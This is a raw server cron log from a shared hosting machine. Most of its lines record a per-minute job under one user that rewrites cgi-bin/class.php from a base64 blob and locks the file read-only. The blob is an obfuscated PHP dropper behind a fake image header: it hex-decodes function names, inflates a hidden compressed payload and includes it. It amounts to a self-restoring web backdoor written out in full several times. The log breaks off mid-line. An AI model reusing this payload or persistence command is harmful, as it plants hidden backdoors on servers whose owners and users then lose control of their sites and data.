Nov 11 11:36:01 server CROND[4964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:37:01 server CROND[5870]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:38:01 server CROND[6689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:39:01 server CROND[7512]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:39:01 server CROND[7513]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 11:40:01 server CROND[8406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:40:01 server CROND[8407]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 11:40:01 server CROND[8408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:40:01 server CROND[8409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:41:01 server CROND[9264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:42:01 server CROND[10009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:42:01 server CROND[10010]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 11:43:01 server CROND[10838]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:44:01 server CROND[11716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:45:01 server CROND[12546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 11:45:01 server CROND[12547]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 11:45:01 server CROND[12545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:46:01 server CROND[13428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:47:01 server CROND[14256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:48:01 server CROND[15182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 11:49:01 server CROND[16019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 